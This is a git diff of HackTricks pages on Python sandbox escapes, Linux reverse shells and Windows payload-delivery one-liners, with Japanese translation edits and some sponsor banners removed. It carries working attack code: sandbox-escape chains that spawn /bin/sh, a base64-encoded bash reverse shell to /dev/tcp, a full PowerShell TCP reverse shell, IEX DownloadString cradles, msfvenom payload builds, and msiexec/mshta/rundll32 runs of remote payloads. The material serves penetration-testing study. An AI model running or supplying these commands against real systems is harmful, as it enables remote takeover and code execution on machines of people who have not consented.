-HackTricksのサポート +HackTricksをサポートする -* [**購読プラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
{% endhint %} diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index f4e1303e6..83486fd66 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -9,25 +9,17 @@ GCPハッキングを学び、実践する:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - これらは、Pythonサンドボックスの保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。 ## コマンド実行ライブラリ -最初に知っておくべきことは、すでにインポートされているライブラリを使用して直接コードを実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです: +最初に知っておくべきことは、すでにインポートされているライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです: ```python os.system("ls") os.popen("ls").read() @@ -60,23 +52,23 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -覚えておいてください、_**open**_ と _**read**_ 関数は、python サンドボックス内の **ファイルを読み取る** のに役立ち、**バイパス**するために **実行**できる **コードを書く** のに役立ちます。 +Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. {% hint style="danger" %} -**Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを許可します。 +**Python2 input()** 関数は、プログラムがクラッシュする前にPythonコードを実行することを可能にします。 {% endhint %} -Python は **最初に現在のディレクトリからライブラリを読み込もうとします**(次のコマンドは、python がモジュールをどこから読み込んでいるかを表示します): `python3 -c 'import sys; print(sys.path)'` +Pythonは最初に**現在のディレクトリからライブラリをロードしようとします**(次のコマンドはPythonがモジュールをどこからロードしているかを表示します): `python3 -c 'import sys; print(sys.path)'` ![](<../../../.gitbook/assets/image (559).png>) -## デフォルトでインストールされた python パッケージを使用して pickle サンドボックスをバイパスする +## デフォルトでインストールされたPythonパッケージを使用してpickleサンドボックスをバイパスする ### デフォルトパッケージ -ここに **事前インストールされた** パッケージのリストがあります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -pickle から、python 環境がシステムにインストールされた **任意のライブラリをインポート** できることに注意してください。\ -例えば、次の pickle は、読み込まれると pip ライブラリをインポートします: +ここに**プリインストールされた**パッケージのリストがあります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +pickleから、Python環境がシステムにインストールされた**任意のライブラリをインポートする**ことができることに注意してください。\ +例えば、次のpickleは、ロードされるとpipライブラリをインポートします: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -93,7 +85,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0))) ### Pipパッケージ -**@isHaacK**によって共有されたトリック +**@isHaacK**によるトリック `pip`または`pip.main()`にアクセスできる場合、任意のパッケージをインストールし、次のように呼び出すことでリバースシェルを取得できます: ```bash @@ -158,7 +150,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## エンコーディングを通じた保護の回避 (UTF-7) +## Bypassing protections through encodings (UTF-7) [**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7を使用して、見かけ上のサンドボックス内で任意のPythonコードをロードして実行します: ```python @@ -175,7 +167,7 @@ return x ## コールなしのPython実行 -コールを行うことが**許可されていない**Pythonジャイル内にいる場合でも、**任意の関数、コード**、および**コマンド**を**実行する**方法はいくつかあります。 +コールを行うことが**許可されていない**Pythonの監獄内にいる場合でも、**任意の関数、コード**、および**コマンド**を**実行する**方法はいくつかあります。 ### [デコレーター](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE ```python @@ -205,7 +197,7 @@ class _:pass #### カスタムクラスによるRCE -いくつかの**クラスメソッド**(_既存のクラスメソッドを上書きするか、新しいクラスを作成することによって_)を修正して、**直接呼び出すことなく**トリガーされたときに**任意のコード**を**実行**させることができます。 +いくつかの**クラスメソッド**(既存のクラスメソッドを上書きするか、新しいクラスを作成することによって)を修正して、**直接呼び出すことなく**トリガーされたときに**任意のコード**を**実行**させることができます。 ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -257,7 +249,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使ったオブジェクトの作成 -メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなくクラスのインスタンスを作成する**ことであり、ターゲットクラスをメタクラスとして新しいクラスを作成することです。 +メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなく、クラスのインスタンスを作成する**ことです。これは、ターゲットクラスをメタクラスとして新しいクラスを作成することによって実現されます。 ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -274,7 +266,7 @@ Sub['import os; os.system("sh")'] ``` #### 例外を伴うオブジェクトの作成 -**例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、コンストラクタを直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)からのトリック): +**例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、コンストラクタを直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)のトリック): ```python class RCE(Exception): def __init__(self): @@ -340,7 +332,7 @@ __builtins__.__dict__['__import__']("os").system("ls") `__builtins__`がない場合、**すべてのグローバル関数**(`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたり、ファイルを読み書きしたりすることはできません。\ しかし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な**機能を**インポートしている**ものもあり、それにアクセスすることで**任意のコード実行**を得ることができます。 -以下の例では、**無害な**モジュールのいくつかを**悪用**して、内部の**危険な**機能に**アクセス**する方法を観察できます。 +以下の例では、**無害な**モジュールのいくつかを**悪用**して、**危険な****機能**に**アクセス**する方法を観察できます。 **Python2** ```python @@ -424,11 +416,11 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) で、**グローバル変数**を見つけるための**場所**を数十/**数百**見つけることができます。 +[**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) で、**グローバル**を見つけることができる**場所**を数十/**数百**見つけることができます。 ## 任意の実行を発見する -ここでは、**より危険な機能**を簡単に発見し、より信頼性の高いエクスプロイトを提案する方法を説明します。 +ここでは、**より危険な機能を簡単に発見**し、より信頼性の高いエクスプロイトを提案する方法を説明します。 #### バイパスを使用したサブクラスへのアクセス @@ -561,7 +553,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil ## ビルトイン、グローバルの再帰的検索... {% hint style="warning" %} -これはただの**素晴らしい**ものです。もしあなたが**グローバル、ビルトイン、オープンなどのようなオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。** +これはただの**素晴らしい**ものです。もし**globals、builtins、open、またはその他のオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。** {% endhint %} ```python import os, sys # Import these to find more gadgets @@ -711,11 +703,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -注意してほしいのは、通常の方法で**属性**に**ドット**を使ってアクセスできることです。例えば、`people_obj.__init__`や、**辞書要素**に**括弧**を使って引用符なしでアクセスできることです。例:`__globals__[CONFIG]` +注意してほしいのは、通常の方法で**属性**に**ドット**を使ってアクセスできることです。例えば `people_obj.__init__` と、**辞書要素**には**括弧**を使って引用符なしでアクセスできることです。例: `__globals__[CONFIG]` -また、`.__dict__`を使用してオブジェクトの要素を列挙できることにも注意してください。例:`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +また、`.__dict__`を使用してオブジェクトの要素を列挙できることにも注意してください。例: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、**`ascii`**の**関数**を指定されたオブジェクトで実行する可能性です。これにはそれぞれ**`!s`**、**`!r`**、**`!a`**を追加します: +フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、**`ascii`**の**関数**を指定されたオブジェクトで実行する可能性です。これにはそれぞれ**`!s`**、**`!r`**、**`!a`**を追加します: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) @@ -734,7 +726,7 @@ return 'HAL 9000' **フォーマット** **文字列**の**例**についての**さらなる例**は[**https://pyformat.info/**](https://pyformat.info)で見つけることができます。 {% hint style="danger" %} -以下のページも確認して、Python内部オブジェクトから**機密情報を読み取る**ガジェットを探してください: +次のページも確認して、Python内部オブジェクトから**機密情報を読み取る**ガジェットを探してください: {% endhint %} {% content-ref url="../python-internal-read-gadgets.md" %} @@ -755,12 +747,12 @@ return 'HAL 9000' ## Pythonオブジェクトの解剖 {% hint style="info" %} -もし**pythonバイトコード**について深く**学びたい**なら、このトピックに関する**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +**Pythonバイトコード**について深く**学びたい**場合は、このトピックに関する**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} いくつかのCTFでは、**フラグ**が存在する**カスタム関数の名前**が提供され、その**関数**の**内部**を確認して抽出する必要があります。 -これが調査する関数です: +これが検査する関数です: ```python def get_flag(some_input): var1=1 @@ -771,7 +763,7 @@ return "THIS-IS-THE-FALG!" else: return "Nope" ``` -#### ディレクトリ +#### dir ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] @@ -793,7 +785,7 @@ CustomClassObject.__class__.__init__.__globals__ ### **関数コードへのアクセス** -**`__code__`** と `func_code`: この **属性** に **アクセス** して、関数の **コードオブジェクト** を **取得** できます。 +**`__code__`** と **func_code**: この **属性** に **アクセス** することで、関数の **コードオブジェクト** を **取得** できます。 ```python # In our current example get_flag.__code__ @@ -952,7 +944,7 @@ types.CodeType.__doc__ ### 漏洩した関数の再作成 {% hint style="warning" %} -次の例では、関数コードオブジェクトから関数を再作成するために必要なすべてのデータを直接取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩させる必要があるもの**です。 +次の例では、関数コードオブジェクトから関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するためのすべての**値**、すなわち**`code_type`**を**漏洩させる**必要があります。 {% endhint %} ```python fc = get_flag.__code__ @@ -1006,7 +998,7 @@ f(42) ``` ## コンパイルされたPythonの逆コンパイル -[**https://www.decompiler.com/**](https://www.decompiler.com)のようなツールを使用すると、与えられたコンパイル済みのPythonコードを**逆コンパイル**できます。 +[**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイル済みのPythonコードを**逆コンパイル**できます。 **このチュートリアルをチェックしてください**: @@ -1018,7 +1010,7 @@ f(42) ### アサート -`-O`パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づく任意のコードを削除します。\ +`-O` パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づく任意のコードを削除します。\ したがって、次のようなチェックが ```python def check_permission(super_user): @@ -1039,23 +1031,18 @@ will be bypassed * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
{% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/linux.md b/generic-methodologies-and-resources/reverse-shells/linux.md index 461e7170a..2f1eafaf0 100644 --- a/generic-methodologies-and-resources/reverse-shells/linux.md +++ b/generic-methodologies-and-resources/reverse-shells/linux.md @@ -15,19 +15,11 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -**これらのシェルについて質問がある場合は** [**https://explainshell.com/**](https://explainshell.com) **で確認できます。** +**これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **を確認してください。** ## Full TTY -**リバースシェルを取得したら**[ **このページを読んでフルTTYを取得してください**](full-ttys.md)**。** +**リバースシェルを取得したら、**[ **完全なTTYを取得するためにこのページを読んでください**](full-ttys.md)**。** ## Bash | sh ```bash @@ -55,7 +47,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc ``` #### シェルの説明 -1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)Bashシェルを開始します。 +1. **`bash -i`**: このコマンドの部分は、インタラクティブな(`-i`)Bashシェルを開始します。 2. **`>&`**: このコマンドの部分は、**標準出力**(`stdout`)と**標準エラー**(`stderr`)を**同じ宛先**にリダイレクトするための省略記法です。 3. **`/dev/tcp//`**: これは、**指定されたIPアドレスとポートへのTCP接続を表す特別なファイル**です。 * **出力とエラーストリームをこのファイルにリダイレクトすることにより**、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。 @@ -139,7 +131,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0; done ``` -コマンドを送信するには、書き込み、Enterを押し、CTRL+Dを押します(STDINを停止するため)。 +コマンドを送信するには、書き込み、エンターを押し、CTRL+Dを押します(STDINを停止するため)。 **被害者** ```bash @@ -340,15 +332,9 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new * [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -356,7 +342,7 @@ GCPハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksをサポートする +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Lolbas -ページ[lolbas-project.github.io](https://lolbas-project.github.io/)は、Windows用であり、[https://gtfobins.github.io/](https://gtfobins.github.io/)はLinux用です。\ -明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、**バイナリ**がどのように(悪用されて)予期しないアクションを実行するために使用されるかを知ることは有用です。例えば、**任意のコードを実行する**ことです。 +ページ [lolbas-project.github.io](https://lolbas-project.github.io/) は、Linux の [https://gtfobins.github.io/](https://gtfobins.github.io/) の Windows バージョンです。\ +明らかに、**Windows には SUID ファイルや sudo 権限はありません**が、**バイナリ**がどのように(悪用されて)予期しないアクションを実行するために使用されるかを知ることは有用です。例えば、**任意のコードを実行する**ことなどです。 ## NC ```bash @@ -106,14 +98,14 @@ echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/Power ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` -ネットワーク呼び出しを行うプロセス: **svchost.exe**\ +ネットワークコールを実行しているプロセス: **svchost.exe**\ ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ** **ワンライナー:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` -**この文書の最後で異なるPowershellシェルについての詳細を取得する** +**この文書の最後で異なるPowershellシェルについての詳細を取得します** ## Mshta @@ -190,7 +182,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given [**Dll ハローワールドの例**](https://github.com/carterjones/hello-world-dll) -* [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +* [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -302,7 +294,7 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh ```bash \\webdavserver\folder\batchfile.bat ``` -ネットワーク呼び出しを行っているプロセス: **svchost.exe**\ +ネットワークコールを実行しているプロセス: **svchost.exe**\ ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat @@ -321,7 +313,7 @@ impacket-smbserver -smb2support kali `pwd` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` -被害者: +被害者: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` @@ -355,7 +347,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` -この技術を使用して、アプリケーションホワイトリストおよびPowershell.exeの制限を回避できます。PSシェルが表示されます。\ +この技術を使用して、アプリケーションホワイトリストとPowershell.exeの制限を回避できます。PSシェルが表示されます。\ これをダウンロードして実行してください: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj @@ -453,7 +445,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -ユニコーンを使用してメタスプリットバックドアのPowerShellバージョンを作成します +unicornを使用してmetasploitバックドアのpowershellバージョンを作成します ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` @@ -469,9 +461,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ## もっと -[PS>Attack](https://github.com/jaredhaight/PSAttack) 一部の攻撃的なPSモジュールがプリロードされたPSコンソール(暗号化)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) 一部の攻撃的なPSモジュールがプリロードされたPSコンソール (暗号化)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジュールとプロキシ検出を備えたPSコンソール(IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジュールとプロキシ検出を備えたPSコンソール (IEX) ## 参考文献 @@ -482,24 +474,19 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジ * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) -​ -**Try Hard Security Group** -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} diff --git a/generic-methodologies-and-resources/threat-modeling.md b/generic-methodologies-and-resources/threat-modeling.md index dd0d47a7f..77394ecd5 100644 --- a/generic-methodologies-and-resources/threat-modeling.md +++ b/generic-methodologies-and-resources/threat-modeling.md @@ -1,62 +1,49 @@ # 脅威モデリング -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難型マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、エンジンを**無料**で試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## 脅威モデリング -脅威モデリングに関するHackTricksの包括的なガイドへようこそ!サイバーセキュリティの重要な側面である脅威モデリングについて、システム内の潜在的な脆弱性を特定し、理解し、戦略を立てる探求を始めましょう。このスレッドは、実践的な例、役立つソフトウェア、わかりやすい説明が詰まったステップバイステップのガイドとして、セキュリティの防御を強化したい初心者や経験豊富な実務家に最適です。 +HackTricksの脅威モデリングに関する包括的なガイドへようこそ!サイバーセキュリティのこの重要な側面を探求し、システム内の潜在的な脆弱性を特定、理解、戦略を立てます。このスレッドは、実際の例、役立つソフトウェア、わかりやすい説明が詰まったステップバイステップのガイドとして機能します。初心者から経験豊富な実践者まで、サイバーセキュリティの防御を強化したい方に最適です。 -### よく使用されるシナリオ +### 一般的に使用されるシナリオ -1. **ソフトウェア開発**:セキュアソフトウェア開発ライフサイクル(SSDLC)の一環として、脅威モデリングは開発初期段階での**潜在的な脆弱性の特定**に役立ちます。 -2. **ペネトレーションテスト**:ペネトレーションテスト実行標準(PTES)フレームワークでは、**システムの脆弱性を理解するための脅威モデリング**がテストの実施前に必要です。 +1. **ソフトウェア開発**: セキュアソフトウェア開発ライフサイクル(SSDLC)の一環として、脅威モデリングは**開発の初期段階で潜在的な脆弱性の源を特定する**のに役立ちます。 +2. **ペネトレーションテスト**: ペネトレーションテスト実行標準(PTES)フレームワークは、テストを実施する前に**システムの脆弱性を理解するための脅威モデリングを要求します**。 -### 脅威モデルの要点 +### 脅威モデルの概要 -脅威モデルは通常、アプリケーションの計画されたアーキテクチャや既存の構築を示す図表、画像、または他の視覚的な表現として表されます。これは**データフローダイアグラム**に似ていますが、そのセキュリティ指向の設計において異なる点があります。 